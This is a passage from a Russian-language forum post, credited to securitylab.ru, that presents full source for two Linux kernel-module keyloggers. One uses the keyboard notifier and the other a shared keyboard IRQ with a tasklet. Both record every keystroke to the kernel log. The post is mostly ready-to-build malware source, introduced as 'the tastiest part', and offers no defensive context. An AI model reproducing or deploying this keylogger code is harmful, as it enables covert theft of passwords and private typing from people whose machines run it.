Но теперь возникает проблема: протоколирование не должно выполняться как часть самого обработчика запроса. Тут нам пригодятся отложенные действия: у нас будет отложенное действие, которое будет регистрировать перехваченные данные за нас. Как только обработчик прерывания сделает свою работу, мы используем тасклет – функцию, выполняемую в контексте прерывания.

Поскольку мы работаем на очень низком уровне, нам также придется самостоятельно заниматься извлечением кода клавиш.

Базовый IRQ будет выглядеть так:
Код:
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
    scancode = inb(0x60);
    return (irq_handler_t)IRQ_HANDLED;
}
The tasklet can be defined as shown below:
void tasklet_logger(unsigned long dummy)
{
    ...
}
 
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
Now we can register our tasklet and IRQ handlers as shown below:
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
    data.scancode = inb(0x60);
    tasklet_schedule(&my_tasklet);
    return (irq_handler_t)IRQ_HANDLED;
}
 
static int __init kb_init(void)
{
    int ret;
 
    ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
    if(ret != 0){
            printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
    }
 
    return ret;
}
 
static void __exit kb_exit(void)
{
    tasklet_kill(&my_tasklet);
    free_irq(KB_IRQ, &data);
}

Самое вкусное – полный исходный код!​

Кейлоггер с использованием keyboard notifier:
Код:
#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/input.h>
 
MODULE_LICENSE("GPL");
 
static const char *us_keymap[][2] = {
    {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},       // 0-3
    {"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},                 // 4-7
    {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},                 // 8-11
    {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"},         // 12-14
    {"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
    {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},                 // 20-23
    {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},                 // 24-27
    {"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"},   // 28-31
    {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},                 // 32-35
    {"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},                 // 36-39
    {"'", "\""}, {"`", "~"}, {"_LSHIFT_", "_LSHIFT_"}, {"\\", "|"}, // 40-43
    {"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},                 // 44-47
    {"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},                 // 48-51
    {".", ">"}, {"/", "?"}, {"_RSHIFT_", "_RSHIFT_"}, {"_PRTSCR_", "_KPD*_"},
    {"_LALT_", "_LALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
    {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},         // 60-63
    {"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},         // 64-67
    {"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"},   // 68-70
    {"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, // 71-73
    {"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"},         // 74-76
    {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},         // 77-79
    {"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, // 80-82
    {"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"},      // 83-85
    {"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"},     // 86-89
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
    {"\0", "\0"}, {"_KPENTER_", "_KPENTER_"}, {"_RCTRL_", "_RCTRL_"}, {"/", "/"},
    {"_PRTSCR_", "_PRTSCR_"}, {"_RALT_", "_RALT_"}, {"\0", "\0"},   // 99-101
    {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"},   // 102-104
    {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
    {"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"},   // 108-110
    {"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},   // 111-114
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},         // 115-118
    {"_PAUSE_", "_PAUSE_"},                                         // 119
};
 
void keycode_to_string(int keycode, int shift_mask, char *buf, unsigned int buf_size)
{
    if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE)
    {
        const char *us_key = (shift_mask == 1)
                                ? us_keymap[keycode][1]
                                : us_keymap[keycode][0];
 
        snprintf(buf, buf_size, "%s", us_key);
    }
}
 
int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
    char keybuf[12] = {0};
    struct keyboard_notifier_param *param = _param;
 
    if (!(param->down)) return NOTIFY_OK;
 
    keycode_to_string(param->value, param->shift, keybuf, 12);
 
    if (strlen(keybuf) < 1) return NOTIFY_OK;
 
    printk(KERN_INFO "Keylog: %s", keybuf);
 
    return NOTIFY_OK;
}
 
static struct notifier_block keysniffer_blk = {
    .notifier_call = keyboard_event_handler,
};
 
static int __init keylogger_init(void)
{
    register_keyboard_notifier(&keysniffer_blk);
    return 0;
}
 
static void __exit keylogger_exit(void)
{
    unregister_keyboard_notifier(&keysniffer_blk);
}
 
module_init(keylogger_init);
module_exit(keylogger_exit);

Кейлоггер с использованием IRQ:
Код:
#include <linux/module.h>
#include <linux/interrupt.h>
#include <asm/io.h>
#include <linux/string.h>
#define KB_IRQ 1

struct logger_data{

    unsigned char scancode;

} data;


void tasklet_logger(unsigned long dummy)

{
    static int shift = 0;

    char buf[32];

    memset(buf, 0, sizeof(buf));

    switch(data.scancode){

        default: return;

        case 1: strcpy(buf, "(ESC)"); break;

        case 2: strcpy(buf, (shift) ? "!" : "1"); break;

        case 3: strcpy(buf, (shift) ? "@" : "2"); break;

        case 4: strcpy(buf, (shift) ? "#" : "3"); break;

        case 5: strcpy(buf, (shift) ? "$" : "4"); break;

        case 6: strcpy(buf, (shift) ? "%" : "5"); break;

        case 7: strcpy(buf, (shift) ? "^" : "6"); break;

        case 8: strcpy(buf, (shift) ? "&" : "7"); break;

        case 9: strcpy(buf, (shift) ? "*" : "8"); break;

        case 10: strcpy(buf, (shift) ? "(" : "9"); break;

        case 11: strcpy(buf, (shift) ? ")" : "0"); break;

        case 12: strcpy(buf, (shift) ? "_" : "-"); break;

        case 13: strcpy(buf, (shift) ? "+" : "="); break;

        case 14: strcpy(buf, "(BACK)"); break;

        case 15: strcpy(buf, "(TAB)"); break;

        case 16: strcpy(buf, (shift) ? "Q" : "q"); break;

        case 17: strcpy(buf, (shift) ? "W" : "w"); break;

        case 18: strcpy(buf, (shift) ? "E" : "e"); break;

        case 19: strcpy(buf, (shift) ? "R" : "r"); break;

        case 20: strcpy(buf, (shift) ? "T" : "t"); break;

        case 21: strcpy(buf, (shift) ? "Y" : "y"); break;

        case 22: strcpy(buf, (shift) ? "U" : "u"); break;

        case 23: strcpy(buf, (shift) ? "I" : "i"); break;

        case 24: strcpy(buf, (shift) ? "O" : "o"); break;

        case 25: strcpy(buf, (shift) ? "P" : "p"); break;

        case 26: strcpy(buf, (shift) ? "{" : "["); break;

        case 27: strcpy(buf, (shift) ? "}" : "]"); break;

        case 28: strcpy(buf, "(ENTER)"); break;

        case 29: strcpy(buf, "(CTRL)"); break;

        case 30: strcpy(buf, (shift) ? "A" : "a"); break;

        case 31: strcpy(buf, (shift) ? "S" : "s"); break;

        case 32: strcpy(buf, (shift) ? "D" : "d"); break;

        case 33: strcpy(buf, (shift) ? "F" : "f"); break;

        case 34: strcpy(buf, (shift) ? "G" : "g"); break;

        case 35: strcpy(buf, (shift) ? "H" : "h"); break;

        case 36: strcpy(buf, (shift) ? "J" : "j"); break;

        case 37: strcpy(buf, (shift) ? "K" : "k"); break;

        case 38: strcpy(buf, (shift) ? "L" : "l"); break;

        case 39: strcpy(buf, (shift) ? ":" : ";"); break;

        case 40: strcpy(buf, (shift) ? "\"" : "'"); break;

        case 41: strcpy(buf, (shift) ? "~" : "`"); break;

        case 42:

        case 54: shift = 1; break;

        case 170:

        case 182: shift = 0; break;

        case 44: strcpy(buf, (shift) ? "Z" : "z"); break;

        case 45: strcpy(buf, (shift) ? "X" : "x"); break;

        case 46: strcpy(buf, (shift) ? "C" : "c"); break;

        case 47: strcpy(buf, (shift) ? "V" : "v"); break;

        case 48: strcpy(buf, (shift) ? "B" : "b"); break;

        case 49: strcpy(buf, (shift) ? "N" : "n"); break;

        case 50: strcpy(buf, (shift) ? "M" : "m"); break;

        case 51: strcpy(buf, (shift) ? "<" : ","); break;

        case 52: strcpy(buf, (shift) ? ">" : "."); break;

        case 53: strcpy(buf, (shift) ? "?" : "/"); break;

        case 56: strcpy(buf, "(R-ALT"); break;

        case 55:

        case 57:

        case 58:

        case 59:

        case 60:

        case 61:

        case 62:

        case 63:

        case 64:

        case 65:

        case 66:

        case 67:

        case 68:

        case 70:

        case 71:

        case 72: strcpy(buf, " "); break;

        case 83:

        strcpy(buf, "(DEL)"); break;

    }

    printk(KERN_INFO "keylogger log: %s", buf);

}

DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);

irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)

{

        data.scancode = inb(0x60);

        tasklet_schedule(&my_tasklet);

        return (irq_handler_t)IRQ_HANDLED;

}

static int __init kb_init(void)

{
        int ret;

        printk(KERN_INFO "keylogger: initializing...");

        ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);

        if(ret != 0){

                printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");

        }

        printk(KERN_INFO "keylogger: initialization complete.");

        return ret;

}
static void __exit kb_exit(void)

{
        tasklet_kill(&my_tasklet);

        free_irq(KB_IRQ, &data);

        printk(KERN_INFO "keylogger: unloaded.");

}

MODULE_LICENSE("GPL");

module_init(kb_init);

module_exit(kb_exit);

источник securitylab.ru
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх